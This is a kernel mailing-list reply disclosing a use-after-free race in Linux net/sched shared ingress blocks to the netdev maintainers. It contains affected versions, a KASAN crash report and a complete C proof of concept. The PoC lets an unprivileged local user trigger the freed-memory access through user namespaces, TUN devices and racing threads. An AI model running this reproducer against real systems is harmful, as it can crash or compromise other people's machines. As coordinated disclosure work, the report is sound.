Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
David Lee <[email protected]>
| Newsgroups | org.kernel.vger.linux-kernel,org.kernel.vger.netdev |
|---|---|
| Message-ID | <CAC_etQFk=tGLvbHPmQwOyrYWgRtDru3dSw4T7sZ-9hvVMy_J-g@mail.gmail.com> |
Hi Jakub,
Apologies for the confusion. I've reattached the correct reproducer.
======== Affected Versions =======
Runtime reproduction: Linux 7.2.0-rc3-kasan
Confirmed vulnerable revision:
f5098b6bae761e346ebcd9da7f95622c04733cff (Linux 7.2-rc5)
Latest inspected vulnerable revisions:
* 62cc90241548d5570ee68e01aaba6506964e9811 (Torvalds master)
* 9d8da8e0a9bce4a340af60dd0446bc7eb8d07587 (net main)
Introduced by:
51ab2994c387c80b45caf8b8067b3f3b97771d25
("net: sched: allow ingress and clsact qdiscs to share filter blocks")
https://github.com/torvalds/linux/commit/51ab2994c387c80b45caf8b8067b3f3b97771d25
Required Configs for the Vulnerability:
* CONFIG_NET_SCHED
* CONFIG_NET_SCH_INGRESS
* CONFIG_NET_CLS_ACT
Additional Configs used by the Proof-of-Concept:
* CONFIG_NET_CLS_BPF
* CONFIG_TUN
* CONFIG_USER_NS
* CONFIG_NET_NS
* CONFIG_KASAN
========== Reproduction ==========
Step 1: Build and boot a KASAN-enabled kernel with the configurations
listed above.
Step 2: Statically compile the attached `poc.c`:
~
gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c
~
Step 3: Run `./poc` as a regular local user. The program creates an
owned user and network namespace, two TUN interfaces, and a populated
shared ingress block. It sends ingress traffic while repeatedly
requesting a `clsact` qdisc with the shared block and the invalid rate
estimator.
Step 4: Because this is a race, triggering time varies. The validated
run reported:
~
BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620
Read of size 8 ... by task poc/...
Freed by task ...:
kfree
qdisc_free
qdisc_create
tc_modify_qdisc
~
The complete KASAN report is attached as `splash.txt`.
Best regards,
David
On Wed, Aug 12, 2026 at 9:22 PM Jakub Kicinski <[email protected]> wrote:
> On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote:
> > [ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
> > [ 231.667279]
> > ==================================================================
> > [ 231.667738] BUG: KASAN: stack-out-of-bounds in
> > __ip_options_echo+0xdf7/0x1860
>
> I'm struggling to see how this is a repro for the qdisc lifecycle bug
>
> In any case -- if the fix is really correct and there's some real repro
> shared off list - I think you're deleting the last caller of
> qdisc_free() so you should inline it into qdisc_free_cb()
>
> So patch as is needs to be refactored. But please don't repost just
> to refactor, we need a convincing repro first.
>
splash.txt
(text/plain, 8.2 KB)
[ 232.894671] ================================================================== [ 232.894793] BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620 [ 232.894793] Read of size 8 at addr ffff8881032c51e8 by task poc/1272 [ 232.894793] [ 232.894793] CPU: 3 UID: 1000 PID: 1272 Comm: poc Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy) [ 232.894793] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 232.894793] Call Trace: [ 232.894793] <TASK> [ 232.894793] dump_stack_lvl+0x5f/0x90 [ 232.894793] print_report+0x15b/0x4ec [ 232.894793] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 232.894793] ? kasan_complete_mode_report_info+0x88/0x230 [ 232.894793] kasan_report+0xf2/0x130 [ 232.894793] ? tc_run+0x5e3/0x620 [ 232.894793] ? tc_run+0x5e3/0x620 [ 232.894793] __asan_report_load8_noabort+0x14/0x30 [ 232.894793] tc_run+0x5e3/0x620 [ 232.894793] ? __pfx_tc_run+0x10/0x10 [ 232.894793] __netif_receive_skb_core.constprop.0+0x9cc/0x31e0 [ 232.894793] ? __pfx___skb_flow_dissect+0x10/0x10 [ 232.894793] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10 [ 232.894793] ? lapic_next_event+0x15/0x30 [ 232.894793] ? clockevents_program_event+0x2bd/0x750 [ 232.894793] ? ktime_get+0x100/0x190 [ 232.894793] ? __alloc_skb+0x34c/0xa10 [ 232.894793] ? lapic_next_event+0x15/0x30 [ 232.894793] ? __pfx_clockevents_program_event+0x10/0x10 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? _raw_spin_lock+0x82/0xf0 [ 232.894793] __netif_receive_skb_one_core+0xa5/0x1d0 [ 232.894793] ? tick_program_event+0x69/0x130 [ 232.894793] ? __pfx___netif_receive_skb_one_core+0x10/0x10 [ 232.894793] ? __hrtimer_rearm_deferred+0x18a/0x520 [ 232.894793] ? sysvec_apic_timer_interrupt+0x54/0xd0 [ 232.894793] ? irqentry_exit+0x1cd/0x7b0 [ 232.894793] __netif_receive_skb+0x1c/0x160 [ 232.894793] netif_receive_skb+0x2f3/0x420 [ 232.894793] ? asm_sysvec_apic_timer_interrupt+0x1b/0x20 [ 232.894793] ? __pfx_netif_receive_skb+0x10/0x10 [ 232.894793] tun_get_user+0x2208/0x3c40 [ 232.894793] ? aa_file_perm+0x544/0xf20 [ 232.894793] ? __pfx_tun_get_user+0x10/0x10 [ 232.894793] ? rcu_sched_clock_irq+0xf08/0x2310 [ 232.894793] ? apparmor_file_permission+0x14d/0x500 [ 232.894793] ? __pfx_apparmor_file_permission+0x10/0x10 [ 232.894793] ? update_cfs_group+0x218/0x380 [ 232.894793] tun_chr_write_iter+0x176/0x2a0 [ 232.894793] ? tun_chr_write_iter+0x176/0x2a0 [ 232.894793] ? __pfx_run_posix_cpu_timers+0x10/0x10 [ 232.894793] vfs_write+0x580/0xf70 [ 232.894793] ? perf_event_task_tick+0x92/0x1d0 [ 232.894793] ? __pfx_vfs_write+0x10/0x10 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? fdget_pos+0x420/0x600 [ 232.894793] ksys_write+0x104/0x240 [ 232.894793] ? __pfx_ksys_write+0x10/0x10 [ 232.894793] ? lapic_next_event+0x15/0x30 [ 232.894793] ? clockevents_program_event+0x2bd/0x750 [ 232.894793] __x64_sys_write+0x72/0xd0 [ 232.894793] ? ktime_get_update_offsets_now+0x1d5/0x400 [ 232.894793] x64_sys_call+0x22f/0x2390 [ 232.894793] do_syscall_64+0xdd/0x640 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? _raw_spin_lock+0x82/0xf0 [ 232.894793] ? __pfx__raw_spin_lock+0x10/0x10 [ 232.894793] ? tick_program_event+0x69/0x130 [ 232.894793] ? __kasan_check_read+0x11/0x20 [ 232.894793] ? fpregs_assert_state_consistent+0x5c/0x100 [ 232.894793] ? irqentry_exit+0x3f/0x7b0 [ 232.894793] ? __irq_exit_rcu+0x45/0x250 [ 232.894793] ? __sysvec_apic_timer_interrupt+0x91/0x320 [ 232.894793] ? do_syscall_64+0x94/0x640 [ 232.894793] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 232.894793] RIP: 0033:0x440692 [ 232.910990] Code: 08 0f 85 f1 de ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 55 48 89 e5 [ 232.911028] RSP: 002b:000070c4801be188 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 [ 232.911028] RAX: ffffffffffffffda RBX: 00007ffdcdd87380 RCX: 0000000000440692 [ 232.911028] RDX: 0000000000000040 RSI: 00000000004a8500 RDI: 0000000000000004 [ 232.911028] RBP: 000070c4801be1b0 R08: 0000000000000000 R09: 0000000000000000 [ 232.911028] R10: 0000000000000000 R11: 0000000000000246 R12: 000070c4801be6c0 [ 232.911028] R13: 00007ffdcdd87170 R14: 000070c4801bece4 R15: 00007ffdcdd87267 [ 232.911028] </TASK> [ 232.911028] [ 232.934520] Allocated by task 1267 on cpu 0 at 232.847363s: [ 232.934520] kasan_save_stack+0x3a/0x70 [ 232.934520] kasan_save_track+0x18/0x70 [ 232.934520] kasan_save_alloc_info+0x39/0x60 [ 232.934520] __kasan_kmalloc+0xa9/0xd0 [ 232.934520] __kmalloc_node_noprof+0x208/0x630 [ 232.934520] qdisc_alloc+0xba/0x7a0 [ 232.934520] qdisc_create+0x6e/0xc80 [ 232.934520] tc_modify_qdisc+0xab5/0x1ff0 [ 232.934520] rtnetlink_rcv_msg+0x34f/0xb00 [ 232.934520] netlink_rcv_skb+0x147/0x400 [ 232.934520] rtnetlink_rcv+0x15/0x30 [ 232.934520] netlink_unicast+0x796/0xb30 [ 232.934520] netlink_sendmsg+0x770/0xc70 [ 232.934520] ____sys_sendmsg+0x95d/0xc50 [ 232.934520] ___sys_sendmsg+0x101/0x1a0 [ 232.934520] __sys_sendmsg+0x127/0x1e0 [ 232.934520] __x64_sys_sendmsg+0x77/0xd0 [ 232.934520] x64_sys_call+0x20d2/0x2390 [ 232.934520] do_syscall_64+0xdd/0x640 [ 232.934520] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 232.934520] [ 232.934520] Freed by task 1267 on cpu 0 at 232.854692s: [ 232.934520] kasan_save_stack+0x3a/0x70 [ 232.934520] kasan_save_track+0x18/0x70 [ 232.934520] kasan_save_free_info+0x3b/0x70 [ 232.934520] __kasan_slab_free+0x7a/0xb0 [ 232.934520] kfree+0x1bd/0x510 [ 232.934520] qdisc_free+0x9c/0xd0 [ 232.934520] qdisc_create+0x5b0/0xc80 [ 232.934520] tc_modify_qdisc+0xab5/0x1ff0 [ 232.934520] rtnetlink_rcv_msg+0x34f/0xb00 [ 232.934520] netlink_rcv_skb+0x147/0x400 [ 232.934520] rtnetlink_rcv+0x15/0x30 [ 232.934520] netlink_unicast+0x796/0xb30 [ 232.934520] netlink_sendmsg+0x770/0xc70 [ 232.934520] ____sys_sendmsg+0x95d/0xc50 [ 232.934520] ___sys_sendmsg+0x101/0x1a0 [ 232.934520] __sys_sendmsg+0x127/0x1e0 [ 232.934520] __x64_sys_sendmsg+0x77/0xd0 [ 232.934520] x64_sys_call+0x20d2/0x2390 [ 232.934520] do_syscall_64+0xdd/0x640 [ 232.934520] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 232.934520] [ 232.934520] The buggy address belongs to the object at ffff8881032c5000 [ 232.934520] which belongs to the cache kmalloc-part-02-1k of size 1024 [ 232.934520] The buggy address is located 488 bytes inside of [ 232.934520] freed 1024-byte region [ffff8881032c5000, ffff8881032c5400) [ 232.934520] [ 232.934520] The buggy address belongs to the physical page: [ 232.934520] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff8881032c6800 pfn:0x1032c0 [ 232.934520] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0 [ 232.934520] flags: 0x17ffffc0000240(workingset|head|node=0|zone=2|lastcpupid=0x1fffff) [ 232.934520] page_type: f5(slab) [ 232.934520] raw: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610 [ 232.934520] raw: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000 [ 232.934520] head: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610 [ 232.934520] head: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000 [ 232.934520] head: 0017ffffc0000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff [ 232.934520] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008 [ 232.934520] page dumped because: kasan: bad access detected [ 232.934520] [ 232.934520] Memory state around the buggy address: [ 232.934520] ffff8881032c5080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ffff8881032c5100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] >ffff8881032c5180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ^ [ 232.934520] ffff8881032c5200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ffff8881032c5280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ================================================================== [ 233.001266] Disabling lock debugging due to kernel taint
poc.c
(application/octet-stream, 8.9 KB)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/filter.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/types.h>
#include <unistd.h>
#define TUN_FALLBACK_DIR "/tmp/1328_net_sched_qdisc_core_security_audit__finding_002"
#define TUN_FALLBACK_PATH TUN_FALLBACK_DIR "/tun"
struct tc_estimator_local {
int8_t interval;
uint8_t ewma_log;
};
struct nl_req {
struct nlmsghdr nlh;
struct tcmsg tcm;
char buf[65536];
};
struct writer_arg {
int fd;
int cpu;
};
static atomic_bool stop_writers;
static uint32_t nl_seq;
static void fatal(const char *what)
{
fprintf(stderr, "%s: %s\n", what, strerror(errno));
exit(1);
}
static void fatal_nl(const char *what, int err)
{
fprintf(stderr, "%s: %s\n", what, strerror(-err));
exit(1);
}
static void write_file(const char *path, const char *value)
{
size_t len = strlen(value);
int fd = open(path, O_WRONLY);
if (fd < 0)
fatal(path);
if (write(fd, value, len) != (ssize_t)len)
fatal(path);
close(fd);
}
static void setup_user_netns(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0)
fatal("unshare(CLONE_NEWUSER)");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_file("/proc/self/uid_map", map);
write_file("/proc/self/setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_file("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
fatal("setresuid/setresgid");
if (unshare(CLONE_NEWNET) < 0)
fatal("unshare(CLONE_NEWNET)");
}
static int open_tun(void)
{
int fd = open("/dev/net/tun", O_RDWR | O_CLOEXEC);
if (fd >= 0)
return fd;
if (mkdir(TUN_FALLBACK_DIR, 0700) < 0 && errno != EEXIST)
fatal("mkdir(TUN_FALLBACK_DIR)");
if (mknod(TUN_FALLBACK_PATH, S_IFCHR | 0600, makedev(10, 200)) < 0 &&
errno != EEXIST)
fatal("mknod(TUN_FALLBACK_PATH)");
fd = open(TUN_FALLBACK_PATH, O_RDWR | O_CLOEXEC);
if (fd < 0)
fatal("open(tun)");
return fd;
}
static int create_tun(const char *name)
{
struct ifreq ifr = {};
int fd = open_tun();
ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, TUNSETIFF, &ifr) < 0)
fatal("TUNSETIFF");
return fd;
}
static void set_if_up(const char *name)
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
fatal("socket(AF_INET)");
strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
fatal("SIOCGIFFLAGS");
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
fatal("SIOCSIFFLAGS");
close(fd);
}
static struct rtattr *addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)
{
size_t attr_len = RTA_LENGTH(len);
size_t new_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(attr_len);
struct rtattr *rta;
if (new_len > maxlen) {
errno = EMSGSIZE;
fatal("addattr");
}
rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = attr_len;
if (len)
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = new_len;
return rta;
}
static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type)
{
return addattr(nlh, maxlen, type | NLA_F_NESTED, NULL, 0);
}
static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest)
{
nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest;
}
static int rtnl_open(void)
{
struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
if (fd < 0)
fatal("socket(NETLINK_ROUTE)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
fatal("bind(NETLINK_ROUTE)");
return fd;
}
static int rtnl_ack(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
char buf[4096];
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
nlh->nlmsg_seq = ++nl_seq;
if (sendmsg(fd, &msg, 0) < 0)
fatal("sendmsg");
for (;;) {
ssize_t len = recv(fd, buf, sizeof(buf), 0);
struct nlmsghdr *h;
if (len < 0)
fatal("recv");
for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len);
h = NLMSG_NEXT(h, len)) {
struct nlmsgerr *err;
if (h->nlmsg_seq != nlh->nlmsg_seq ||
h->nlmsg_type != NLMSG_ERROR)
continue;
err = NLMSG_DATA(h);
return err->error;
}
}
}
static void req_init(struct nl_req *req, uint16_t type, uint16_t flags,
int ifindex, uint32_t handle, uint32_t parent,
uint32_t info)
{
memset(req, 0, sizeof(*req));
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->tcm));
req->nlh.nlmsg_type = type;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
req->tcm.tcm_family = AF_UNSPEC;
req->tcm.tcm_ifindex = ifindex;
req->tcm.tcm_handle = handle;
req->tcm.tcm_parent = parent;
req->tcm.tcm_info = info;
}
static int create_clsact(int nl, int ifindex, uint32_t block, bool bad_rate)
{
struct tc_estimator_local est = { .interval = 4, .ewma_log = 1 };
struct nl_req req;
req_init(&req, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, ifindex,
TC_H_MAKE(TC_H_CLSACT, 0), TC_H_CLSACT, 0);
addattr(&req.nlh, sizeof(req), TCA_KIND, "clsact", sizeof("clsact"));
addattr(&req.nlh, sizeof(req), TCA_INGRESS_BLOCK, &block, sizeof(block));
if (bad_rate)
addattr(&req.nlh, sizeof(req), TCA_RATE, &est, sizeof(est));
return rtnl_ack(nl, &req.nlh);
}
static int install_slow_drop_filter(int nl, uint32_t block)
{
struct sock_filter *ops;
struct nl_req req;
struct rtattr *opts;
uint16_t ops_len = BPF_MAXINSNS;
uint32_t flags = TCA_BPF_FLAG_ACT_DIRECT;
uint32_t info = TC_H_MAKE(1U << 16, htons(ETH_P_ALL));
int i;
ops = calloc(BPF_MAXINSNS, sizeof(*ops));
if (!ops)
fatal("calloc(cbpf)");
/*
* tc_run() uses the miniq again for the drop-stat update after classify().
* A maximum-length classic BPF program widens the interval between the
* initial miniq load and that later access without needing eBPF.
*/
for (i = 0; i < BPF_MAXINSNS - 1; i++) {
ops[i].code = BPF_LD | BPF_B | BPF_ABS;
ops[i].k = 0;
}
ops[BPF_MAXINSNS - 1].code = BPF_RET | BPF_K;
ops[BPF_MAXINSNS - 1].k = TC_ACT_SHOT;
req_init(&req, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL,
TCM_IFINDEX_MAGIC_BLOCK, 0, block, info);
addattr(&req.nlh, sizeof(req), TCA_KIND, "bpf", sizeof("bpf"));
opts = nest_start(&req.nlh, sizeof(req), TCA_OPTIONS);
addattr(&req.nlh, sizeof(req), TCA_BPF_OPS_LEN, &ops_len, sizeof(ops_len));
addattr(&req.nlh, sizeof(req), TCA_BPF_OPS, ops,
BPF_MAXINSNS * sizeof(*ops));
addattr(&req.nlh, sizeof(req), TCA_BPF_FLAGS, &flags, sizeof(flags));
nest_end(&req.nlh, opts);
free(ops);
return rtnl_ack(nl, &req.nlh);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
fatal("sched_setaffinity");
}
static void *packet_writer(void *opaque)
{
static const unsigned char packet[64] = {
0x45, 0x00, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00,
0x40, 0x11, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x01,
0x7f, 0x00, 0x00, 0x01,
};
struct writer_arg *arg = opaque;
pin_cpu(arg->cpu);
while (!atomic_load_explicit(&stop_writers, memory_order_relaxed)) {
ssize_t ignored = write(arg->fd, packet, sizeof(packet));
(void)ignored;
}
return NULL;
}
int main(void)
{
enum { WRITERS = 3, ATTEMPTS = 100000 };
struct writer_arg args[WRITERS];
pthread_t threads[WRITERS];
uint32_t block = 1;
unsigned int owner_ifindex, victim_ifindex;
int owner_fd, victim_fd, nl;
int err, i;
setup_user_netns();
owner_fd = create_tun("tun0");
victim_fd = create_tun("tun1");
set_if_up("tun0");
set_if_up("tun1");
owner_ifindex = if_nametoindex("tun0");
victim_ifindex = if_nametoindex("tun1");
if (!owner_ifindex || !victim_ifindex)
fatal("if_nametoindex");
nl = rtnl_open();
err = create_clsact(nl, owner_ifindex, block, false);
if (err)
fatal_nl("create owner clsact", err);
err = install_slow_drop_filter(nl, block);
if (err)
fatal_nl("install cBPF filter", err);
for (i = 0; i < WRITERS; i++) {
args[i].fd = victim_fd;
args[i].cpu = i + 1;
if (pthread_create(&threads[i], NULL, packet_writer, &args[i]))
fatal("pthread_create");
}
pin_cpu(0);
for (i = 0; i < ATTEMPTS; i++) {
err = create_clsact(nl, victim_ifindex, block, true);
if (err != -EINVAL) {
fprintf(stderr, "failing clsact create returned %d\n", err);
exit(1);
}
}
atomic_store_explicit(&stop_writers, true, memory_order_relaxed);
for (i = 0; i < WRITERS; i++)
pthread_join(threads[i], NULL);
close(nl);
close(victim_fd);
close(owner_fd);
return 0;
}